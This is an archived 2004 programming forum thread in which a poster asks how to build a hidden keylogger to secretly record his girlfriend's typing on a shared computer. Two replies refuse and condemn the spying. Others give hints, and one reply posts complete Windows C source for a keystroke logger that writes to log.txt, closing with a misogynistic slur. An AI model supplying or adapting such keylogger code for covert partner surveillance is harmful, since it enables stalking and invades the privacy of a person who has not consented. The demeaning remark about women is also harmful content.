Archived

This topic is now archived and is closed to further replies.

Keyloggers and Bears an Tigers, Oh My!

This topic is 5092 days old which is more than the 365 day threshold we allow for new replies. Please post a new topic.

If you intended to correct an error in the post then please contact us.

Recommended Posts

I think my girlfriend is cheating on me, so I want to implement a keylogger to run silently and record all keyboard input. Of course, I could probably just ask her, but that would be too tootin'' honest. I''d rather slither around behind her back like the snake I am. With a keylogger I''ll be able to track her input and if she''s up to no good. I could buy one, and I see they make software and hardware keylogger''s alike. But I''m broke and creative, so making my own keylogging program seems like the perfect resolution. I''ve Googled, I''ve MSN''d. I''ve even asked Jeeves. But no one has anything to say about keyloggers in terms of writing them. Here are my criteria: (1) The program will run on my computer (which she uses all the time especially when I''m not home and she needs to get lots of "work" done. (2) The program must be as undetectable as can be while running (no minimizable windows, etc.) (3) No matter what she''s doing, surfing the web i.e. my IE or making spread sheets, I want it to capture all keyboard input. This is the core part that I just plain out do not understand how to resolve. Anyways, besides booing me offstage and throwing cabbage and other random vegetables at me, has anybody got a useful idea for how I might solve this? Or am I just dreaming? (I''m allergic to cabbage.) Victimized in Indiana, ShaneD

Share this post


Link to post
Share on other sites
No. Maybe you should explain your concerns to her rather than spying on her. You don't seem to have a lot of respect for her, so maybe she would be better off if she was seeing someone else.

[edited by - smart_idiot on January 4, 2004 2:03:03 AM]

Share this post


Link to post
Share on other sites
Writing a keylogger is trivial. Your suggestion, however, is absolutely horrible. People deserve their right to privacy. How would you like it if somebody had been logging and disseminating everything you had done on your computer for the past year?

I strongly discourage anybody from responding to this with solutions. With all due respect (none) hopefully she is cheating on you, she deserves somebody better.

[edited by - haro on January 4, 2004 2:04:35 AM]

Share this post


Link to post
Share on other sites
Look into the window creation flags, I think there is a WM_HIDDEN or what ever! Then just use c# and say on key press text.txt += keypress




Check out my Forum
My First Space Art (Ever)
My Second Space Art (Ever)
My upcoming space mod for Battlefield: 1942.

Status: 25% Me and a friend are working on it, we are pretty much ready to release in game screenshots.
I agree with krez, but if you really want to know you can make a basic keylogger using GetAsyncKeyState.

--------
"Hey, what about those baggy pants you kids are wearin'' these days? Aren''t they hip and cool and poppin'' fresh?"-Peter Griffin
"Everytime I see an M followed by a dollar sign I just say "oh god" and go to the next post."-Neurokaotix
the D programming language|google|msdn|XLib reference manual

Share this post


Link to post
Share on other sites
Heres something I threw together in 20 minutes. Its far from perfect. It doesn''t keep track of if the key was released, because I don''t have a second keyboard map to keep track of that.

But it should get you started, if you''re willing to put in some leg-work for yourself =P


#include <windows.h>
#include <stdio.h>
#include <string.h>

// Globals...

int g_iBuffer;
char g_szBuffer[1024];

LRESULT CALLBACK WindowProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);
void AddToBuffer(char cChar);
void PrintBuffer(void);

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{

WNDCLASSEX WindowClass;
// Fill Out Our WinClassEx Structure =)

WindowClass.cbClsExtra = 0;
WindowClass.cbSize = sizeof(WNDCLASSEX);
WindowClass.cbWndExtra = 0;
WindowClass.hbrBackground = (HBRUSH)GetStockObject(BLACK_BRUSH);
WindowClass.hCursor = LoadIcon(NULL, IDC_ARROW);
WindowClass.hIcon = LoadIcon(NULL, IDI_WINLOGO);
WindowClass.hIconSm = LoadIcon(NULL, IDI_WINLOGO);
WindowClass.hInstance = hInstance;
WindowClass.lpfnWndProc = WindowProc;
WindowClass.lpszClassName = "KeyLogger";
WindowClass.lpszMenuName = NULL;
WindowClass.style = CS_DBLCLKS | CS_OWNDC | CS_HREDRAW | CS_VREDRAW;

// Register Window

if(!RegisterClassEx(&WindowClass))
return 0;

// Create The Window

HWND hWnd;
if(!(hWnd = CreateWindowEx( NULL,
"KeyLogger",
"GroZZleR''s Key Logger",
WS_OVERLAPPED | WS_VISIBLE,
0, 0,
640, 480,
NULL,
NULL,
hInstance,
NULL)))
return 0;

// Reset The Buffer

int iLoop = 0;
g_iBuffer = 1;
for(iLoop = 0; iLoop < 1024; iLoop++)
g_szBuffer[iLoop] = ''\0'';

MSG msg;
while(true)
{
if(PeekMessage(&msg, NULL, 0, 0, PM_REMOVE))
{
if(msg.message == WM_QUIT)
break;
TranslateMessage(&msg);
DispatchMessage(&msg);
}

if(GetAsyncKeyState(VK_ESCAPE))
PostQuitMessage(0);

for(iLoop = 0x30; iLoop < 0x5B; iLoop++)
{
if(GetAsyncKeyState(iLoop))
AddToBuffer((char)iLoop);
}
if(GetAsyncKeyState(VK_SPACE))
AddToBuffer('' '');

PrintBuffer();
}
return(msg.wParam);
}

LRESULT CALLBACK WindowProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
return(DefWindowProc(hWnd, msg, wParam, lParam));
}

void AddToBuffer(char cChar)
{
if(cChar != g_szBuffer[g_iBuffer - 1])
{
g_szBuffer[g_iBuffer] = cChar;
g_iBuffer++;
}

return;
}

void PrintBuffer(void)
{
int iLoop;

FILE *pFile = fopen("log.txt", "a");
if(pFile != NULL)
{
for(iLoop = 1; iLoop < 1024; iLoop++)
{
if(g_szBuffer[iLoop] != ''\0'')
fputc(g_szBuffer[iLoop], pFile);
}
}
fclose(pFile);

// Reset The Buffer

g_iBuffer = 1;
for(iLoop = strlen(g_szBuffer) - 1; iLoop > 0; iLoop--)
g_szBuffer[iLoop] = ''\0'';

return;
}


And fuck privacy, girls are manipulative bitches that deserve this kind of shit =)

Share this post


Link to post
Share on other sites

This topic is 5092 days old which is more than the 365 day threshold we allow for new replies. Please post a new topic.

If you intended to correct an error in the post then please contact us.

Guest
This topic is now closed to further replies.